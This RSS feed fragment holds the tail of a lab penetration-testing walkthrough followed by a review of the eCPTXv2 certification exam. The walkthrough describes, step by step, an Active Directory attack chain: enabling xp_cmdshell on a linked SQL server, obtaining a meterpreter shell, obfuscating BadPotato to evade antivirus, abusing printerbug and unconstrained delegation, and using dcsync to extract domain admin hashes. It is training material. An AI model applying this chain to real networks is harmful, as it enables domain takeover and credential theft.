sysadmin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*ufGN0_-4KSalSzx5w0F9Mg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*-G9dHWxgzaWAaqWR5YifgA.png" /></figure><p>51: Enumerate link, the output is in a mess but we can identify that <strong>SRV02</strong> is a <strong>linked server</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*YBFcODaPW75EA8tqpQieLA.png" /></figure><p>52: Check if we have <strong>sysadmin</strong> privilege on SRV02 over the link:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*oCwCvyR-KJoBI8VmXyaFJQ.png" /></figure><p>Yes, we have. So we can enable <strong>xp_cmdshell</strong></p><p>53: We need to enable <strong>rpc out</strong> first…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*AUGe4nqWK74XM4C9vqy06w.png" /></figure><p>54: Enable <strong>xp_cmdshell</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*OUxe6UQMk8AIs3WedMpUCA.png" /></figure><p>55: Change the payload to return a meterpreter shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*9jrsScRPSQfT4SXr5GaChA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*rQRgcDFy68yFR-yE46CNVA.png" /></figure><p>56: Use <strong>powerup.ps1</strong> to find PE vector, and abuse <strong>SeImpersonatePrivilege</strong> to escalate privilege, but be aware of <strong>AV</strong>. I use <strong>confuserex2 </strong>(<a href="https://mkaring.github.io/ConfuserEx/">https://mkaring.github.io/ConfuserEx/</a> ) to obfuscate <strong>BadPotato </strong>(<a href="https://github.com/BeichenDream/BadPotato">https://github.com/BeichenDream/BadPotato</a>) to abuse it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*yThqeyUpY5egCQoXfH0aJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*rh1LIPIBoKu-1BiQtklTpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*whbXe3dSQbO0YGIKsla2iQ.png" /></figure><p>57: We can also abuse weak service <strong>UsoSvc</strong> to add john to <strong>local admin</strong> group: <strong>invoke-serviceabuse –name ‘UsoSvc’</strong></p><h4>srv02 -&gt; dc</h4><p>58: SRV02 is set <strong>unconstrained delegation</strong>, we can abuse <strong>printerbug</strong> to get DC$’s TGT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*CXdOQfXZBYd8HL68PeBb9w.png" /></figure><p>59: Write the ticket to a local file, and use <strong>Mimikatz</strong> to import it. After that, use <strong>dcsync</strong> to retrieve DA’s <strong>NTLM</strong> hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*QWMq4znmAqkimKksTKFOmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*AC55gJw1BRmMzdPSrC5vdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*rpCoq3SMvFhXE0bzOFqOrw.png" /></figure><p>60: Access DC via <strong>WinRM</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*FYPz5nUueP9tnXObY5BLQg.png" /></figure><p>Done!!!</p><p>Thanks for reading the walkthrough, I hope you enjoy it!</p><p>Happy Hacking!</p><p>If you think my article is helpful for you, buying me a coffee is always appeciated (<a href="https://ko-fi.com/senzee?ref=onboarding_email_share2"><strong>ko-fi.com/senzee</strong></a><strong>)!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d56abeae5bac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Black Box Test on eCPTXv2 exam]]></title>
            <link>https://gustavshen.medium.com/black-box-test-on-ecptxv2-exam-d5d881ecf56?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d5d881ecf56</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ecptx]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[elearnsecurity]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Tue, 19 Apr 2022 21:38:25 GMT</pubDate>
            <atom:updated>2022-04-19T23:57:19.006Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6vRWyo6V1O7ywn6J" /></figure><p>Hi folks, just as I promised, I am sharing my review on eLearnSecurity’s eCPTX exam from an exam taker without purchasing course material. Yes, it is a black box test for me to pass eCPTX exam. I saw few reviews on eCPTXv2 courses and exam, but almost all of them are taking exam after completing course material. So I want to share something different : P</p><h3><strong>Background and Motivation</strong></h3><p>3 weeks ago, I passed eCPTX exam on my second attempt. I will explain why I failed my first attempt later. You can check eCPTX certification on its official website: <a href="https://elearnsecurity.com/product/ecptx-certification/">https://elearnsecurity.com/product/ecptx-certification/</a>. You can enroll the course and then take the exam, of course you can take the exam without purchasing course materials and preparation just like me. IMO, eCPTX is an advanced level Penetration Testing/Red Teaming certificate, and it is. Since I did not purchase course materials, I cannot share opinions on them, but I hear that course materials are deep and overwhelming. The reason why I wanted to take eCPTX exam without any preparation was that I was actively preparing for OSEP exam, I would like to check if I had already had decent AD enumeration and exploitation skills. Previously I took CRTO course and passed the exam, I must say CRTO course teach me a great methodology during a red team engagement.</p><h3><strong>Opinions on Exam</strong></h3><p>Without any delay, let’s talk about the exam, I will share some general opinions to avoid spoiler.</p><h4><strong>Before the Exam</strong></h4><p>After purchasing the exam voucher, you can start exam at any time only if it is still valid. If you decide to start the exam, you will get a Letter of Engagement and VPN config file. Just as other folks said, <strong>the LoE is confusing</strong>, you could feel confused that what do I need to do to pass the exam? After owning all DCs, you feel confident that you will pass the exam absolutely, but it is not the case. Anyway, the LoE is confusing, just be aware of it.</p><h4><strong>During the Exam</strong></h4><p>I devide this section to three more detailed sub-sections.</p><p><strong>1: Aspect of Support and Environment</strong></p><p>During exam, you can stop and reset the exam environment on your panel. For some reasons, I reset my exam environment after about 2 hours, but it was the most annoying part of my experience. The process of reset took about 2 hours. I thought the environment was destroyed, so I emailed and called eLearnSecurity Support. Support is nice, and fortunately few minutes after the call, my exam environment is ready to access again. I do not recommend you to reset your exam environment unless necessary.</p><p>Besides, the exam environment is so laggy for me. It is painful for me to RDP to compromised hosts. But everything works well when I operate on C2 client.</p><p><strong>2: Aspect of Exam Itself</strong></p><p>I guess many folks would like to know if the exam is tough. In my opinion, it is challenging. I passed CRTO and CRTP exam, CPTX is much more challenging than both of them. But the good news is that if you have passed CRTO or CPTX, you have already had most of skills to pass CPTX exam. What do I mean? All skills needed in CPTX exam are common, but you will face heavier enumeration and need more steps to compromise a user/host.</p><p>The exam environment consists of 6 hosts in 3 domains. The LoE is confusing, so let me tell you that in order to pass the exam, you need to take over a specific DC in <strong>all different attack paths</strong> like A-&gt;B-&gt;C, A-&gt;F-&gt;C, A-&gt;B-&gt;E-&gt;C, etc. On my first attempt, I took over the DC but I did not know I need to include all attack paths, so I failed it. On my second attempt, I found all attack paths and pass it finally.</p><p>The exam is challenging, I made full use of exam time on my first attempt until VPN was disconnected because I fell into a rabbit hole (you will know it when you are on exam) even though I had already owned the DC at that time. Anyway, you cannot take the exam in chill mode. The exam is also very fun, the environment is absolutely well-designed, I enjoyed it a lot. The exam covers a lot, and what to my surprise is that binary exploitation is also included. But unlike OSEP, the lack of security protection is a little disappointing for me. It does have AV enabled, but I don’t think you will be disturbed by it. For me, I did not have a chance to evade AV.</p><p>There is no tool restriction, so I used Cobalt Strike C2. But the exam has some other restrictions, it does not allow exploit like sweet potato, it does not allow using DA to access another domain to get access (You need to abuse trust instead), etc. Just pay attention to it.</p><p><strong>3: Aspect of Myself</strong></p><p><strong>The exam is not based on assume-breach model</strong>. During the first 2 hours, I got nothing. I started to regret taking eCPTX exam. Then, I changed the enumeration methodology and successfully find the entry to the first host. During the exam, I rarely took a rest and made full use of time and I did a lot google searhcing and researching. It was quite intense for me.</p><h4><strong>After the Exam</strong></h4><p>Before the exam, I heard it took a long time to get exam feedback/result, but it is very fast for me. I can only see the feedback when I am on my retake, but the feedback is very instructive and detailed, exam environment is also preserved for me so I do not need to totally redo it. I really appreciate it! I can feel that eLearnSecurity hopes you make progress and pass the exam.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pnC1hjTTTvk3xvHloLl61w.png" /></figure><h3>Final Review</h3><p>I cannot comment on course materials part of eCPTX, but I will say the exam is very fun and intense. It is tough and challenging, but to be honest its difficulty still did not fully meet my expectation since it is an advanced level certification, here are my reasons.</p><p>1: It has more steps to compromise a host/user, but required skills are common. It does not involve some advanced attacks.</p><p>2: The security protection is fragile, you could choose to evade AV but it is unnecessary. Let alone some other protections such as CLM, AppLocker, etc.</p><p>Okay, that’s my opinion on eCPTXv2 exam. In general, I enjoy it and like it. I still leant a lot during the two attempts since I did a lot googling. I hope this article could be helpful for you :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d5d881ecf56" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>